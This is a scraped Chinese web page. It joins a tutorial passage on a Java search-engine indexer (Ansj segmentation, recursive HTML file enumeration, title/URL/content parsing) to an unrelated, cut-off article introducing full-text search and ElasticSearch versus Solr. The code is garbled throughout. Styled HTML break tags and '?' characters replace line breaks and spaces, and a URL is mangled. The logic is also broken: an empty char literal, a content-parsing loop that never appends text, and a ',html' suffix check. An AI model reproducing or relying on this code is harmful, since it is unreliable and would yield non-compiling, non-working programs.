import?org.ansj.domain.Term;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?org.ansj.splitWord.analysis.ToAnalysis;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.List;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?TastAnsj?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????String?str?=?"易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????List?terms?=?ToAnalysis.parse(str).getTerms();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????for?(Term?term?:?terms)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????System.out.println(term.getName());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
四、文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import?java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//讀取剛剛文檔<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?Parser?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????public??void?run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//整個(gè)Parser類(lèi)的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????ArrayList?fileList=new?ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????File?rootPath=new?File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????//listFiles?能夠獲取到一層目錄下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????File[]?files=?rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????for(File?f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果不是就調用遞歸<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????Parser?parser=new?Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????if(f.getAbsolutePath().endsWith(",html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
這個(gè)代碼就是只是針對末尾為html的文件,下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private??String?parseTitle(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?name=?f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????return?name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private??String?parseUrl(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????return?part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。
具體代碼如下很容易理解。
private??String?parseContent(File?f)?throws?IOException?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try(FileReader?fileReader=new?FileReader(f))?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????boolean?isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//還需要準備一個(gè)結果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????StringBuilder?content=new?StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????while?(true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//此處的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????int??ret?=?0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????ret?=?fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????if(ret==-1)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????char?c=(char)?ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????????isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????return??content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(FileNotFoundException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????return?"";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
這一模塊總的代碼塊如下:
import?java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.FileNotFoundException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.FileReader;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.IOException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//讀取剛剛文檔<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?Parser?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????public??void?run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//整個(gè)Parser類(lèi)的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????ArrayList?fileList=new?ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????for?(File?f:fileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????????System.out.println("開(kāi)始解析"+f.getAbsolutePath());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????????parseHTML(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseTitle(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?name=?f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????return?name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseUrl(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????return?part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseContent(File?f)?throws?IOException?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try(FileReader?fileReader=new?FileReader(f))?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????boolean?isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//還需要準備一個(gè)結果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????StringBuilder?content=new?StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????while?(true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//此處的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????int??ret?=?0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????ret?=?fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????if(ret==-1)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????char?c=(char)?ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????????isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????return??content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(FileNotFoundException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????return?"";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private?void?parseHTML?(File?f){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出標題<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?title=parseTitle(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出對應的url<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?url=parseUrl(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出對應的正文<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????String?content=parseContent(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????File?rootPath=new?File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????//listFiles?能夠獲取到一層目錄下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????File[]?files=?rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????for(File?f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果不是就調用遞歸<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????if(f.getAbsolutePath().endsWith(".html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????Parser?parser=new?Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
--- EOF ---
全文搜索引擎 ElasticSearch 還是 Solr?
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 56 次瀏覽 ? 2022-05-27 20:41
前言
最近項目組安排了一個(gè)任務(wù),項目中用到了基于 Solr 的全文搜索,但是該 Solr 搜索云項目不穩定,經(jīng)常查詢(xún)不出來(lái)數據,需要手動(dòng)全量同步。
而且它還是其他團隊在維護,依賴(lài)性太強,導致 Solr 服務(wù)一出問(wèn)題,我們的項目也基本癱瘓,因為所有的依賴(lài)查詢(xún)都無(wú)結果數據了。
所以考慮開(kāi)發(fā)一個(gè)適配層,如果 Solr 搜索出問(wèn)題,自動(dòng)切換到新的搜索 ES。其實(shí)可以通過(guò) Solr 集群或者服務(wù)容錯等設計來(lái)解決該問(wèn)題。
但是先不考慮本身設計的合理性,領(lǐng)導需要開(kāi)發(fā),所以我開(kāi)始踏上了搭建 ES 服務(wù)的道路,從零開(kāi)始,因為之前完全沒(méi)接觸過(guò) ES,所以通過(guò)本系列來(lái)記錄下自己的開(kāi)發(fā)過(guò)程。
本篇文章的總體內容大致如下圖:
由 ReyCG 精心繪制并提供
什么是全文搜索引擎?
百度百科中的定義:
全文搜索引擎是目前廣泛應用的主流搜索引擎。它的工作原理是計算機索引程序通過(guò)掃描文章中的每一個(gè)詞,對每一個(gè)詞建立一個(gè)索引,指明該詞在文章中出現的次數和位置,當用戶(hù)查詢(xún)時(shí),檢索程序就根據事先建立的索引進(jìn)行查找,并將查找的結果反饋給用戶(hù)的檢索方式。這個(gè)過(guò)程類(lèi)似于通過(guò)字典中的檢索字表查字的過(guò)程。
從定義中我們已經(jīng)可以大致了解全文檢索的思路了,為了更詳細的說(shuō)明,我們先從生活中的數據說(shuō)起。
我們生活中的數據總體分為兩種:
當然有的地方還會(huì )有第三種:半結構化數據,如 XML,HTML 等,當根據需要可按結構化數據來(lái)處理,也可抽取出純文本按非結構化數據來(lái)處理。
根據兩種數據分類(lèi),搜索也相應的分為兩種:結構化數據搜索和非結構化數據搜索。
對于結構化數據,我們一般都是可以通過(guò)關(guān)系型數據庫(MySQL,Oracle 等)的 table 的方式存儲和搜索,也可以建立索引。
對于非結構化數據,也即對全文數據的搜索主要有兩種方法:
順序掃描:通過(guò)文字名稱(chēng)也可了解到它的大概搜索方式,即按照順序掃描的方式查詢(xún)特定的關(guān)鍵字。
例如給你一張報紙,讓你找到該報紙中“RNG”的文字在哪些地方出現過(guò)。你肯定需要從頭到尾把報紙閱讀掃描一遍,然后標記出關(guān)鍵字在哪些版塊出現過(guò)以及它的出現位置。
這種方式無(wú)疑是最耗時(shí)的最低效的,如果報紙排版字體小,而且版塊較多甚至有多份報紙,等你掃描完你的眼睛也差不多了。
全文檢索:對非結構化數據順序掃描很慢,我們是否可以進(jìn)行優(yōu)化?把我們的非結構化數據想辦法弄得有一定結構不就行了嗎?
將非結構化數據中的一部分信息提取出來(lái),重新組織,使其變得有一定結構,然后對此有一定結構的數據進(jìn)行搜索,從而達到搜索相對較快的目的。
這種方式就構成了全文檢索的基本思路。這部分從非結構化數據中提取出的然后重新組織的信息,我們稱(chēng)之索引。
還以讀報紙為例,我們想關(guān)注英雄聯(lián)盟 S8 全球總決賽的新聞,假如都是 RNG 的粉絲,如何快速找到 RNG 新聞的報紙和版塊呢?
全文檢索的方式就是,將所有報紙中所有版塊中關(guān)鍵字進(jìn)行提取,如"EDG","RNG","FW","戰隊","英雄聯(lián)盟"等。
然后對這些關(guān)鍵字建立索引,通過(guò)索引我們就可以對應到該關(guān)鍵詞出現的報紙和版塊。注意區別目錄搜索引擎。
為什么要用全文搜索搜索引擎
